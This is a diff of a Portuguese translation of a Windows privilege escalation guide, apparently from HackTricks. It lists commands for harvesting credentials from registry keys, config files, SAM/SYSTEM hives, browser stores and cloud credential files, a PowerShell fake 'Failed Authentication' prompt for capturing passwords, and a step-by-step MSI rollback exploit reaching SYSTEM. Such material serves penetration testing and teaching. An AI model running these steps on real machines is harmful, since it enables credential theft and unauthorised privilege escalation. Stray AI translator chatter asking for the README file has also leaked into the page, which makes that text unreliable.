usam o app StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e sempre vale a pena procurá-lo e examiná-lo. +As pessoas frequentemente usam o aplicativo StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e sempre vale a pena procurá-lo e examiná-lo. ### AppCmd.exe -**Observe que para recuperar senhas do AppCmd.exe você precisa ser Administrador e executar sob um nível High Integrity.**\ +**Observe que para recuperar senhas do AppCmd.exe você precisa ser Administrador e executar com um nível de integridade alto.**\ **AppCmd.exe** está localizado no diretório `%systemroot%\system32\inetsrv\`.\ -Se esse arquivo existir então é possível que algumas **credentials** tenham sido configuradas e possam ser **recuperadas**. +Se esse arquivo existir, é possível que algumas **credenciais** tenham sido configuradas e possam ser **recuperadas**. Este código foi extraído de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -918,7 +928,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifique se `C:\Windows\CCM\SCClient.exe` existe .\ -Instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Os instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Informações de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -930,27 +940,27 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Chaves de Host SSH do Putty +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys no registro +### Chaves SSH no registro -SSH private keys podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá: +Chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela é armazenada criptografada, mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela é armazenada criptografada mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Mais informações sobre esta técnica aqui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inicie automaticamente na inicialização, execute: +Se o serviço `ssh-agent` não estiver em execução e você quiser que ele seja iniciado automaticamente na inicialização, execute: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Parece que esta técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação por chave assimétrica. +> Parece que esta técnica não é mais válida. Tentei criar algumas ssh keys, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação por chave assimétrica. -### Arquivos desatendidos +### Unattended files ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -965,7 +975,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Você também pode procurar por esses arquivos usando **metasploit**: _post/windows/gather/enum_unattend_ +Você também pode procurar esses arquivos usando **metasploit**: _post/windows/gather/enum_unattend_ Conteúdo de exemplo: ```xml @@ -996,7 +1006,7 @@ Conteúdo de exemplo: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Credenciais na nuvem +### Credenciais na Nuvem ```bash #From user home .aws\credentials @@ -1008,11 +1018,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -### Senha de GPP em cache +Procure por um arquivo chamado **SiteList.xml** -Um recurso existia anteriormente que permitia a implantação de contas de administrador local personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). No entanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. +### Senha GPP em cache -Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo "cpassword" não vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e correção dessa vulnerabilidade de segurança. +Havia anteriormente um recurso que permitia o deployment de contas de administrador local personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). Contudo, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. + +Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e na correção dessa vulnerabilidade de segurança. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: @@ -1046,7 +1058,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Exemplo de web.config com credentials: +Exemplo de web.config com credenciais: ```xml @@ -1056,7 +1068,7 @@ Exemplo de web.config com credentials: ``` -### OpenVPN credenciais +### Credenciais do OpenVPN ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1084,9 +1096,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Pedir credentials +### Solicitar credentials -Você pode sempre **pedir ao usuário que insira suas credentials ou até mesmo as credentials de um usuário diferente** se achar que ele pode conhecê-las (observe que **pedir** diretamente ao cliente pelas **credentials** é realmente **arriscado**): +Você sempre pode **pedir ao usuário para inserir suas credentials ou até mesmo as credentials de um usuário diferente** se achar que ele as conhece (observe que **pedir** diretamente ao cliente pelas **credentials** é realmente **arriscado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1094,9 +1106,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possíveis nomes de arquivos contendo credenciais** +### **Possíveis nomes de arquivos que contêm credenciais** -Arquivos conhecidos que, algum tempo atrás, continham **senhas** em **texto simples** ou **Base64** +Arquivos conhecidos que, há algum tempo, continham **passwords** em **clear-text** ou **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1160,7 +1172,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Não recebi o conteúdo do arquivo. Por favor, cole aqui o conteúdo de src/windows-hardening/windows-local-privilege-escalation/README.md (ou confirme quais arquivos exatamente você quer que eu pesquise/traduza). +Não tenho acesso direto ao seu repositório. Por favor cole aqui o conteúdo do arquivo src/windows-hardening/windows-local-privilege-escalation/README.md que quer que eu traduza (ou confirme quais outros arquivos incluir). Vou traduzir o texto relevante para português seguindo suas regras (não traduzir código, nomes de técnicas, links, tags, paths, etc.). ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1169,15 +1181,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Credenciais na Lixeira +### Credentials no RecycleBin -Você também deve verificar a Lixeira para procurar credenciais dentro dela +Você também deve verificar o Bin para procurar credentials dentro dele -Para **recuperar senhas** salvas por vários programas, você pode usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Para **recover passwords** salvas por vários programas você pode usar: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### Dentro do registro +### Dentro do registry -**Outras possíveis chaves de registro com credenciais** +**Outras possíveis chaves do registry com credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1186,38 +1198,38 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### Histórico dos navegadores +### Histórico dos Navegadores -Você deve verificar por dbs onde senhas do **Chrome or Firefox** são armazenadas.\ -Também verifique o histórico, bookmarks e favourites dos navegadores, pois talvez algumas **senhas estejam** armazenadas lá. +Você deve verificar por dbs onde **senhas** do **Chrome or Firefox** são armazenadas.\ +Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas **senhas** estejam armazenadas lá. -Ferramentas para extrair senhas de navegadores: +Ferramentas para extrair senhas dos navegadores: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **Sobrescrita de DLL COM** +### **COM DLL Overwriting** -Component Object Model (COM) é uma tecnologia incorporada no sistema operacional Windows que permite a intercomunicação entre componentes de software escritos em diferentes linguagens. Cada componente COM é identificado via um class ID (CLSID) e cada componente expõe funcionalidade via uma ou mais interfaces, identificadas via interface IDs (IIDs). +**Component Object Model (COM)** é uma tecnologia integrada ao sistema operacional Windows que permite a **intercomunicação** entre componentes de software escritos em diferentes linguagens. Cada componente COM é **identificado via class ID (CLSID)** e cada componente expõe funcionalidades através de uma ou mais interfaces, identificadas por interface IDs (IIDs). -As classes e interfaces COM são definidas no registro sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** respectivamente. Este registro é criado ao mesclar **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +Classes e interfaces COM são definidas no registry sob **HKEY\CLASSES\ROOT\CLSID** e **HKEY\CLASSES\ROOT\Interface** respectivamente. Esse registry é criado pela mesclagem de **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Dentro dos CLSIDs deste registro você pode encontrar o subregistro **InProcServer32** que contém um **valor padrão** apontando para uma **DLL** e um valor chamado **ThreadingModel** que pode ser **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ou **Neutral** (Thread Neutral). +Dentro dos CLSIDs desse registry você pode encontrar a chave filha **InProcServer32** que contém um **valor padrão** apontando para uma **DLL** e um valor chamado **ThreadingModel** que pode ser **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) ou **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -Basicamente, se você puder **sobrescrever qualquer uma das DLLs** que serão executadas, você poderia **escalar privilégios** se essa DLL for executada por um usuário diferente. +Basicamente, se você conseguir **sobrescrever qualquer uma das DLLs** que serão executadas, você poderia **elevar privilégios** se essa DLL for executada por um usuário diferente. -To learn how attackers use COM Hijacking as a persistence mechanism check: +Para aprender como atacantes usam COM Hijacking como mecanismo de persistência, verifique: {{#ref}} com-hijacking.md {{#endref}} -### **Busca genérica por senhas em arquivos e registro** +### **Generic Password search in files and registry** **Search for file contents** ```bash @@ -1225,26 +1237,26 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**Pesquisar por um arquivo com um nome de arquivo específico** +**Pesquisar um arquivo com um determinado nome** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**Pesquisar o registro por nomes de chaves e passwords** +**Pesquisar o registro em busca de nomes de chaves e senhas** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Ferramentas que procuram senhas +### Ferramentas que procuram por passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um plugin do msf** que eu criei para **executar automaticamente cada metasploit POST module que procura credenciais** dentro da vítima.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) procura automaticamente por todos os arquivos que contêm senhas mencionados nesta página.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair senhas de um sistema. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **é um msf** plugin. Eu criei este plugin para **automatically execute every metasploit POST module that searches for credentials** dentro da vítima.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) procura automaticamente por todos os arquivos que contêm passwords mencionados nesta página.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) é outra ótima ferramenta para extrair password de um sistema. -A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) procura por **sessões**, **nomes de usuário** e **senhas** de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP) +A ferramenta [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) procura por **sessions**, **usernames** e **passwords** de várias ferramentas que salvam esses dados em clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1253,30 +1265,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Imagine que **um processo em execução como SYSTEM abre um novo processo** (`OpenProcess()`) com **acesso total**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com privilégios baixos mas herdando todos os handles abertos do processo principal**.\ -Então, se você tiver **acesso total ao processo com privilégios baixos**, pode pegar o **handle aberto para o processo privilegiado criado** com `OpenProcess()` e **injetar um shellcode**.\ -[Leia este exemplo para mais informações sobre **como detectar e explorar esta vulnerabilidade**.](leaked-handle-exploitation.md)\ -[Leia este **outro post para uma explicação mais completa sobre como testar e abusar de mais handlers abertos de processos e threads herdados com diferentes níveis de permissões (não apenas acesso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ +Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ +[Leia este exemplo para mais informações sobre **como detectar e explorar essa vulnerabilidade**.](leaked-handle-exploitation.md)\ +[Leia este **outro post para uma explicação mais completa sobre como testar e abusar de mais open handlers de processos e threads herdados com diferentes níveis de permissões (não apenas acesso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Segmentos de memória compartilhada, chamados de **pipes**, permitem comunicação entre processos e transferência de dados. +Segmentos de memória compartilhada, referidos como **pipes**, permitem comunicação entre processos e transferência de dados. -O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, inclusive em redes diferentes. Isso se assemelha a uma arquitetura cliente/servidor, com papéis definidos como **named pipe server** e **named pipe client**. +O Windows fornece um recurso chamado **Named Pipes**, permitindo que processos não relacionados compartilhem dados, até através de redes diferentes. Isso se assemelha a uma arquitetura client/server, com papéis definidos como **named pipe server** e **named pipe client**. -Quando dados são enviados através de um pipe por um **client**, o **server** que configurou o pipe tem a capacidade de **assumir a identidade** do **client**, desde que possua os direitos **SeImpersonate** necessários. Identificar um **processo privilegiado** que se comunica via um pipe que você consegue simular oferece a oportunidade de **obter privilégios mais altos** adotando a identidade desse processo quando ele interagir com o pipe que você criou. Para instruções sobre como executar esse ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system). +Quando dados são enviados por meio de um pipe por um **client**, o **server** que criou o pipe tem a capacidade de **assumir a identidade** do **client**, desde que possua os direitos **SeImpersonate** necessários. Identificar um **processo privilegiado** que se comunica via um pipe que você pode mimetizar oferece a oportunidade de **obter privilégios mais elevados** ao adotar a identidade desse processo quando ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse tipo de ataque, guias úteis podem ser encontrados [**aqui**](named-pipe-client-impersonation.md) e [**aqui**](#from-high-integrity-to-system). -Além disso a ferramenta a seguir permite **interceptar a comunicação de um named pipe com uma ferramenta como o burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Além disso, a ferramenta a seguir permite **interceptar uma comunicação de named pipe com uma ferramenta como o burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **e esta ferramenta permite listar e ver todos os pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Diversos +## Miscelânea -### Extensões de arquivo que podem executar coisas no Windows +### Extensões de arquivo que podem executar código no Windows Confira a página **[https://filesec.io/](https://filesec.io/)** ### **Monitorando linhas de comando em busca de senhas** -Ao obter um shell como usuário, pode haver tarefas agendadas ou outros processos sendo executados que **passam credenciais na linha de comando**. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças. +Ao obter um shell como um usuário, pode haver tarefas agendadas ou outros processos sendo executados que **passam credenciais na linha de comando**. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças. ```bash while($true) { @@ -1286,13 +1298,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Roubando senhas de processos +## Stealing passwords from processes ## De usuário com privilégios baixos para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Se você tem acesso à interface gráfica (via console ou RDP) e o UAC está habilitado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios. +Se você tiver acesso à interface gráfica (via console ou RDP) e o UAC estiver ativado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário não privilegiado. -Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo com a mesma vulnerabilidade. Além disso, não é necessário instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft. +Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo com a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft. Alguns dos sistemas afetados são os seguintes: ``` @@ -1340,14 +1352,14 @@ https://github.com/jas502n/CVE-2019-1388 ## From Administrator Medium to High Integrity Level / UAC Bypass -Leia isto para **aprender sobre Níveis de Integridade**: +Read this to **learn about Integrity Levels**: {{#ref}} integrity-levels.md {{#endref}} -Depois **leia isto para aprender sobre UAC e UAC bypasses:** +Then **read this to learn about UAC and UAC bypasses:** {{#ref}} @@ -1356,55 +1368,55 @@ Depois **leia isto para aprender sobre UAC e UAC bypasses:** ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -A técnica descrita [**neste blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) com um código de exploit [**disponível aqui**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -O ataque basicamente consiste em abusar do recurso de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um **malicious MSI installer** que será usado para sequestrar a pasta `C:\Config.Msi`, que depois será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI onde os arquivos de rollback teriam sido modificados para conter a carga maliciosa. +O ataque basicamente consiste em abusar da funcionalidade de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um **malicious MSI installer** que será usado para sequestrar a pasta `C:\Config.Msi`, que depois será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI, onde os arquivos de rollback terão sido modificados para conter o payload malicioso. A técnica resumida é a seguinte: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI -- Crie um `.msi` que instala um arquivo inofensivo (por exemplo, `dummy.txt`) em uma pasta gravável (`TARGETDIR`). +- Crie um `.msi` que instale um arquivo inofensivo (ex.: `dummy.txt`) em uma pasta gravável (`TARGETDIR`). - Marque o instalador como **"UAC Compliant"**, para que um **non-admin user** possa executá-lo. - Mantenha um **handle** aberto para o arquivo após a instalação. - Step 2: Begin Uninstall - Desinstale o mesmo `.msi`. -- O processo de desinstalação começa a mover arquivos para `C:\Config.Msi` e a renomeá-los para arquivos `.rbf` (backups de rollback). +- O processo de desinstalação começa a mover arquivos para `C:\Config.Msi` e renomeá-los para arquivos `.rbf` (backups de rollback). - **Poll the open file handle** usando `GetFinalPathNameByHandle` para detectar quando o arquivo se torna `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing - O `.msi` inclui uma **custom uninstall action (`SyncOnRbfWritten`)** que: -- Sinaliza quando `.rbf` foi escrito. +- Sinaliza quando o `.rbf` foi escrito. - Então **espera** por outro evento antes de continuar a desinstalação. - Step 4: Block Deletion of `.rbf` -- Quando sinalizado, **abra o arquivo `.rbf`** sem `FILE_SHARE_DELETE` — isso **impede que ele seja deletado**. +- Quando sinalizado, **abra o arquivo `.rbf`** sem `FILE_SHARE_DELETE` — isso **impede que ele seja excluído**. - Então **sinalize de volta** para que a desinstalação possa terminar. -- Windows Installer falha em deletar o `.rbf`, e como não pode deletar todo o conteúdo, **`C:\Config.Msi` não é removido**. +- Windows Installer falha ao deletar o `.rbf`, e como não consegue deletar todo o conteúdo, **`C:\Config.Msi` não é removida**. - Step 5: Manually Delete `.rbf` -- Você (atacante) deleta o arquivo `.rbf` manualmente. -- Agora **`C:\Config.Msi` está vazio**, pronto para ser sequestrado. +- Você (atacante) exclui o arquivo `.rbf` manualmente. +- Agora **`C:\Config.Msi` está vazia**, pronta para ser sequestrada. -> Neste ponto, **dispare a vulnerabilidade de arbitrary folder delete em nível SYSTEM** para deletar `C:\Config.Msi`. +> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs - Recrie a pasta `C:\Config.Msi` você mesmo. -- Defina **weak DACLs** (por exemplo, Everyone:F), e **mantenha um handle aberto** com `WRITE_DAC`. +- Defina **weak DACLs** (ex.: Everyone:F), e **mantenha um handle aberto** com `WRITE_DAC`. - Step 7: Run Another Install - Instale o `.msi` novamente, com: - `TARGETDIR`: Local gravável. -- `ERROROUT`: Uma variável que causa uma falha forçada. -- Esta instalação será usada para acionar **rollback** novamente, que lê `.rbs` e `.rbf`. +- `ERROROUT`: Uma variável que dispara uma falha forçada. +- Essa instalação será usada para acionar o **rollback** novamente, que lê `.rbs` e `.rbf`. - Step 8: Monitor for `.rbs` - Use `ReadDirectoryChangesW` para monitorar `C:\Config.Msi` até que um novo `.rbs` apareça. -- Capture seu nome de arquivo. +- Capture o nome do arquivo. - Step 9: Sync Before Rollback - O `.msi` contém uma **custom install action (`SyncBeforeRollback`)** que: @@ -1413,43 +1425,43 @@ A técnica resumida é a seguinte: - Step 10: Reapply Weak ACL - Após receber o evento `.rbs created`: -- O Windows Installer **reaplica ACLs fortes** a `C:\Config.Msi`. -- Mas como você ainda tem um handle com `WRITE_DAC`, você pode **reaplicar ACLs fracas** novamente. +- O Windows Installer **reaplica strong ACLs** em `C:\Config.Msi`. +- Mas como você ainda tem um handle com `WRITE_DAC`, você pode **reaplicar weak ACLs** novamente. -> ACLs são **aplicadas apenas na abertura do handle**, então você ainda pode escrever na pasta. +> ACLs are **only enforced on handle open**, so you can still write to the folder. - Step 11: Drop Fake `.rbs` and `.rbf` - Sobrescreva o arquivo `.rbs` com um **fake rollback script** que instrui o Windows a: -- Restaurar o seu `.rbf` (malicious DLL) em um **local privilegiado** (por exemplo, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Colocar seu fake `.rbf` contendo uma **malicious SYSTEM-level payload DLL**. +- Restaurar seu arquivo `.rbf` (malicious DLL) em um **local privilegiado** (ex.: `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Colocar seu fake `.rbf` contendo um **malicious SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback -- Sinalize o evento de sync para que o instalador retome. -- Uma **type 19 custom action (`ErrorOut`)** está configurada para **intencionalmente falhar a instalação** em um ponto conhecido. -- Isso causa o início do **rollback**. +- Sinalize o evento de sincronização para que o instalador retome. +- Uma **type 19 custom action (`ErrorOut`)** é configurada para **falhar intencionalmente a instalação** em um ponto conhecido. +- Isso causa o **início do rollback**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: - Lê seu `.rbs` malicioso. - Copia seu `.rbf` DLL para o local alvo. -- Agora você tem sua **malicious DLL em um caminho carregado pelo SYSTEM**. +- Você agora tem sua **malicious DLL em um caminho carregado pelo SYSTEM**. - Final Step: Execute SYSTEM Code -- Execute um binário confiável **auto-elevated** (por exemplo, `osk.exe`) que carrega a DLL que você sequestrou. -- **Boom**: Seu código é executado **como SYSTEM**. +- Execute um **auto-elevated binary** confiável (ex.: `osk.exe`) que carregue a DLL que você sequestrou. +- **Boom**: Seu código é executado **as SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -A técnica principal de rollback do MSI (a anterior) assume que você pode deletar uma **pasta inteira** (por exemplo, `C:\Config.Msi`). Mas e se sua vulnerabilidade apenas permitir **arbitrary 